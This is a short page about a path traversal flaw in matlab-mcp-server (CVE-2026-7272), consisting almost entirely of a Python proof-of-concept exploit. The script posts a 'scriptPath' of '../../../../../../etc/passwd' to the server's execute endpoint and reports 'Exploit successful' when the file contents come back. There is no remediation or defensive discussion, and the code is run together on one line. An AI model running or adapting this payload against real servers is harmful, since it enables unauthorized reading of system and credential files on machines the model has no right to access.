CVE-2026-7272 matlab-mcp-server路径遍历漏洞

import requests import json # Target URL configuration # The vulnerability affects the execute_matlab_code or generate_matlab_code endpoints target_url = "http://localhost:3000/execute" # Replace with actual target URL # Constructing the malicious payload # Using '../' sequence to traverse out of the expected directory payload = { "scriptPath": "../../../../../../etc/passwd", # Path traversal payload "method": "execute_matlab_code" } headers = { "Content-Type": "application/json" } try: # Sending the malicious request response = requests.post(target_url, data=json.dumps(payload), headers=headers) # Checking if the attack was successful if response.status_code == 200: print("[+] Exploit successful! Server responded:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")